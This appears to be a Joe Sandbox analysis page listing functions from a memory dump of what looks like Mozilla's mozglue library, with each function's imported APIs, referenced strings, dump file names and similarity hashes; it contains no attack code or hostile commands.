Instruction ID: 03982f6c0dbb06cc398e47b125a2a09006a03b29dd302440a71fe75be472a133
Opcode Fuzzy Hash: 933af261d197f7615519371a32c85080f7274f2930bd1c3ef7c1732de2babd04
Instruction Fuzzy Hash: DB21B074B001888FDF14DF64D85DAEEB7B9EF45208F540414ED1AA7740DB31A909C7B2

Function 6CB974A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CB97526
__Init_thread_footer.LIBCMT ref: 6CB97566
__Init_thread_footer.LIBCMT ref: 6CB97597

Strings

kernel32.dll, xrefs: 6CB97557
UnmapViewOfFile2, xrefs: 6CB97552

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 86573d08170f715b684794842b94151981b3df7683e7d69f7da21b7ad490e661
Instruction ID: 5a407b2f4981099d306174bd303b5be44602afdd14c1b743e1b092944cfbfcef
Opcode Fuzzy Hash: 86573d08170f715b684794842b94151981b3df7683e7d69f7da21b7ad490e661
Instruction Fuzzy Hash: F121F53D7005C1A7CA149FEAC854EAD33B5EF57338F1405B9E805A7F40CF71A9028A9A

Function 6CB9A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBBF770,-00000001,?,6CBAE330,?,6CB5BDF7), ref: 6CB9A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CB5BDF7), ref: 6CB9A7C2
moz_xmalloc.MOZGLUE(00000018,?,6CB5BDF7), ref: 6CB9A7E4
LeaveCriticalSection.KERNEL32(6CBBF770), ref: 6CB9A80A

Strings

accelerator.dll, xrefs: 6CB9A7BF

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 2e76352c92e7873e8fe63a1469890349cea34cbc0113fbd708a621775a2daad2
Instruction ID: a637ac9a8e7b5e108d6e56b762dc56eeecdff5f60000c8129ae573329a039b1b
Opcode Fuzzy Hash: 2e76352c92e7873e8fe63a1469890349cea34cbc0113fbd708a621775a2daad2
Instruction Fuzzy Hash: DA018F796002449FDF04CF9AD8C5D6577B8FB9A32570480BAE8098B751DF70A800CFA1

Function 6CB3F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CB3EE51,?), ref: 6CB3F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CB3F0C2

Strings

Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CB3F0DC
ole32, xrefs: 6CB3F0AD
Could not find CoTaskMemFree, xrefs: 6CB3F0E3

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 5e1a2d8ca368573bdccb8061a505b8d5c48e0542257583b72e3293ee8444ddce
Instruction ID: e5a9bf2e5ed24456776de80741f7248024d3a80373b040c4e784a7a2cce6f958
Opcode Fuzzy Hash: 5e1a2d8ca368573bdccb8061a505b8d5c48e0542257583b72e3293ee8444ddce
Instruction Fuzzy Hash: 1FE0D8787446C29F9F041E7A9848A3A37BD9B12219314543DF907E2E00EE34D004C62A

Function 6CB70080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CB47204), ref: 6CB70088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CB700A7
FreeLibrary.KERNEL32(?,6CB47204), ref: 6CB700BE

Strings

wintrust.dll, xrefs: 6CB70083
CryptCATAdminAcquireContext2, xrefs: 6CB700A1

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 94570ef57f805c733a1c42c395d24e055758c1160ccb1fc04f513e7863465d90
Instruction ID: 8e1ec27077d4e0ef016da1ddb68551a0b4830c6bab4f514a4e06f0770cea06c1
Opcode Fuzzy Hash: 94570ef57f805c733a1c42c395d24e055758c1160ccb1fc04f513e7863465d90
Instruction Fuzzy Hash: 94E07E7C640389DAEF20AF6A9C487157BF9A70B366F50441AED25D3660DFB5C4009B2A

Function 6CB700D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CB47235), ref: 6CB700D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CB700F7
FreeLibrary.KERNEL32(?,6CB47235), ref: 6CB7010E

Strings

wintrust.dll, xrefs: 6CB700D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CB700F1

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 5dd07a61fddf206c9e9b78fd49cc839635e7c1493e99bc1187c57ed2ca256965
Instruction ID: 48a863cde2b3cdce17d873b975410c170fb65cd30dd5c5b98ec82f2b32aa0f1b
Opcode Fuzzy Hash: 5dd07a61fddf206c9e9b78fd49cc839635e7c1493e99bc1187c57ed2ca256965
Instruction Fuzzy Hash: B3E0127C381385DBEF109F25EE4A7213BF8E706246F10942AB95E83A10DFB1C0008B29

Function 6CB9C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB9C0E9), ref: 6CB9C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CB9C437
FreeLibrary.KERNEL32(?,6CB9C0E9), ref: 6CB9C44C

Strings

NtQueryVirtualMemory, xrefs: 6CB9C431
ntdll.dll, xrefs: 6CB9C413

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: f0cd378ec21a1cc4c55345be53f2677c5e4d1ae2f14210bc8fdd159992e12a74
Instruction ID: 2534198877c8649a1454668956e752b56820ab62d28b61d16720b4e7802a60b7
Opcode Fuzzy Hash: f0cd378ec21a1cc4c55345be53f2677c5e4d1ae2f14210bc8fdd159992e12a74
Instruction Fuzzy Hash: 23E0927C605341DBDF006F75CD487157BF8E707216F00452AAA0993620EFB0C4018B59

Function 6CB975B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB9748B,?), ref: 6CB975B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CB975D7
FreeLibrary.KERNEL32(?,6CB9748B,?), ref: 6CB975EC

Strings

RtlNtStatusToDosError, xrefs: 6CB975D1
ntdll.dll, xrefs: 6CB975B3

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: a779d9a92406dc482f60b0351508b76c78cb8b7207b09742dd5e0b4a5de347ca
Instruction ID: abdce43e80ea0c5f5049e2f3753bd3bdaea5c48d787c78789597c690766d9013
Opcode Fuzzy Hash: a779d9a92406dc482f60b0351508b76c78cb8b7207b09742dd5e0b4a5de347ca
Instruction Fuzzy Hash: 33E092BD700341ABEB006FA2C8887157BF8EB17218F1044A9B905E3610EFB08442CF59

Function 6CB97600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB97592), ref: 6CB97608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CB97627
FreeLibrary.KERNEL32(?,6CB97592), ref: 6CB9763C

Strings

NtUnmapViewOfSection, xrefs: 6CB97621
ntdll.dll, xrefs: 6CB97603

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: e49b15209c3e2c4a7299cffb3d32e9468b8aac823bbc9fdf8ebd965145283f30
Instruction ID: 0637d9c1c6a1eed085917087bb4eecd5f2c388974ffe3b7a0814d0ea5cbb3e63
Opcode Fuzzy Hash: e49b15209c3e2c4a7299cffb3d32e9468b8aac823bbc9fdf8ebd965145283f30
Instruction Fuzzy Hash: 9EE092BC600781ABDF006FAAD88C7167BB8E72B269F1045A9E905E3610EFB080018F1D

Function 6CB9BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CB9BE49), ref: 6CB9BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CB9BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CB9BE49), ref: 6CB9BF38
RtlReAllocateHeap.NTDLL ref: 6CB9BF83
RtlFreeHeap.NTDLL(6CB9BE49,00000000), ref: 6CB9BFA6

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: a94e35f72b5f783237bbc0a5be8c05afc1eb2496c061df05a85d006005842041
Instruction ID: 8f246438bffe24c42a5bfed48119212ac7004957c267a276887b7236d67ca05b
Opcode Fuzzy Hash: a94e35f72b5f783237bbc0a5be8c05afc1eb2496c061df05a85d006005842041
Instruction Fuzzy Hash: EC51B371B002558FEB24CF68CC80BAAB7A6FF85314F294639D55AA7B54D730F9068B81

Function 6CB88E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CB7B58D,?,?,?,?,?,?,?,6CBAD734,?,?,?,6CBAD734), ref: 6CB88E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB7B58D,?,?,?,?,?,?,?,6CBAD734,?,?,?,6CBAD734), ref: 6CB88EBF
free.MOZGLUE(?,?,?,?,6CB7B58D,?,?,?,?,?,?,?,6CBAD734,?,?,?), ref: 6CB88F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB7B58D,?,?,?,?,?,?,?,6CBAD734,?,?,?,6CBAD734), ref: 6CB88F46
free.MOZGLUE(?,?,?,?,6CB7B58D,?,?,?,?,?,?,?,6CBAD734,?,?,?), ref: 6CB88F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB7B58D,?,?,?,?,?,?,?,6CBAD734,?,?,?), ref: 6CB88F8F

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 37e4da45c8ed221443e12eef9bde1ca86be6659326217638a274b5343429650a
Instruction ID: d807f0d420019704f21205c8edfa00748fd063f75208a74b3b2d17bde2ae9cc1
Opcode Fuzzy Hash: 37e4da45c8ed221443e12eef9bde1ca86be6659326217638a274b5343429650a
Instruction Fuzzy Hash: 7651A5B1A022568FEF14CF54D88076E73B6FF45318F55092AD516AB740E732F905CB92

Function 6CB460E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CB45FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB460F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CB45FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB46180
free.MOZGLUE(?,?,?,?,6CB45FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB46211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CB45FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB46229
free.MOZGLUE(?,?,?,?,6CB45FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB4625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB45FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB46271

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 29e37e4668ebb05715495d19bd142e4526dd3aae2e5335c53c25765ae713bc76
Instruction ID: 7ab583d6c623d04d2b171b9c02a5f1a7203870765166ee80297149182ead06c6
Opcode Fuzzy Hash: 29e37e4668ebb05715495d19bd142e4526dd3aae2e5335c53c25765ae713bc76
Instruction Fuzzy Hash: 8251BDB1A082469FEB14CFA8D8807AEB7B5EF49308F108539D616D7715E731EA18CB52

Function 6CB827E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CB82620,?,?,?,6CB760AA,6CB75FCB,6CB779A3), ref: 6CB8284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB82620,?,?,?,6CB760AA,6CB75FCB,6CB779A3), ref: 6CB8289A
free.MOZGLUE(?,?,?,6CB82620,?,?,?,6CB760AA,6CB75FCB,6CB779A3), ref: 6CB828F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB82620,?,?,?,6CB760AA,6CB75FCB,6CB779A3), ref: 6CB82910
free.MOZGLUE(00000001,?,?,6CB82620,?,?,?,6CB760AA,6CB75FCB,6CB779A3), ref: 6CB8293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CB82620,?,?,?,6CB760AA,6CB75FCB,6CB779A3), ref: 6CB8294E

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e728929ebf318721ae32bcd30426129b836b84062559867203d9d7e8a262a948
Instruction ID: d957ec7d3e7b9b451af2f263c3118bda2288614635a057442cc514ddff11f54c
Opcode Fuzzy Hash: e728929ebf318721ae32bcd30426129b836b84062559867203d9d7e8a262a948
Instruction Fuzzy Hash: EC4180B1A012468FEB14CF68D88876A77F6EF45308F650939D956EB740E731E904CB63

Function 6CB3CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBBE784), ref: 6CB3CFF6
LeaveCriticalSection.KERNEL32(6CBBE784), ref: 6CB3D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CB3D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CB3D139

Strings

MOZ_CRASH(), xrefs: 6CB3D187

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 4c4f87d852823af64e1c5316dabd59654105372c2c4d20231e61dc3adf59a380
Instruction ID: 1e1d22e15385901f41825cb3a677fedee102e5219d0b8e17e5d9567fb3fdd1af
Opcode Fuzzy Hash: 4c4f87d852823af64e1c5316dabd59654105372c2c4d20231e61dc3adf59a380
Instruction Fuzzy Hash: 2841DF32B507A65FCB048E7E9C9436E36B4EB59714F240139E918E7784DBB59C008BC9

Function 6CB34DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB34E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CB34E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB34EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB34F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CB34F1E

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: ebe9d2fbd6125de24e454b7b9ee835282191a1f099b3e4b280dc4fb6afe542e6
Instruction ID: d22676cbc0289b684b030922f043b424bb5e549a3be4248832e68d37aa340fb2
Opcode Fuzzy Hash: ebe9d2fbd6125de24e454b7b9ee835282191a1f099b3e4b280dc4fb6afe542e6
Instruction Fuzzy Hash: F641DF716087A19FC705CF28C88095BBBE4FF89344F149A2DF46987B81DB31E958CB82

Function 6CB41530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CB4152B,?,?,?,?,6CB41248,?), ref: 6CB4159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CB4152B,?,?,?,?,6CB41248,?), ref: 6CB415BC
moz_xmalloc.MOZGLUE(-00000001,?,6CB4152B,?,?,?,?,6CB41248,?), ref: 6CB415E7
free.MOZGLUE(?,?,?,?,?,?,6CB4152B,?,?,?,?,6CB41248,?), ref: 6CB41606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CB4152B,?,?,?,?,6CB41248,?), ref: 6CB41637

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 5019deb5f0c038542309ad602fa0196413501bab533d95b36002c9a043168205
Instruction ID: 126ec15249e53522f5e5475c3c1eacc0a610e37398fed6449ec596fd3c060c11
Opcode Fuzzy Hash: 5019deb5f0c038542309ad602fa0196413501bab533d95b36002c9a043168205
Instruction Fuzzy Hash: DB31EA71E081549BCB148E78D8504AE77A9FB8136472C4B2DE823DBBD8EB30D9259792

Function 6CB9AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CBAE330,?,6CB5C059), ref: 6CB9AD9D

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CBAE330,?,6CB5C059), ref: 6CB9ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CBAE330,?,6CB5C059), ref: 6CB9AE01
GetLastError.KERNEL32(?,00000000,?,?,6CBAE330,?,6CB5C059), ref: 6CB9AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CBAE330,?,6CB5C059), ref: 6CB9AE3D

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 83bba868c8d433035a95122005bb15c7759a9dd5dd4851d3dfacc3ee0360f306
Instruction ID: c69853075f906c990e44d9649f8adfe9ecac849c1694fd1fda4e215105ec4527
Opcode Fuzzy Hash: 83bba868c8d433035a95122005bb15c7759a9dd5dd4851d3dfacc3ee0360f306
Instruction Fuzzy Hash: AE3141B1E046559FDB10DF75CC44AAFB7F8EF49614F158829E84AD7700EB34A804CBA4

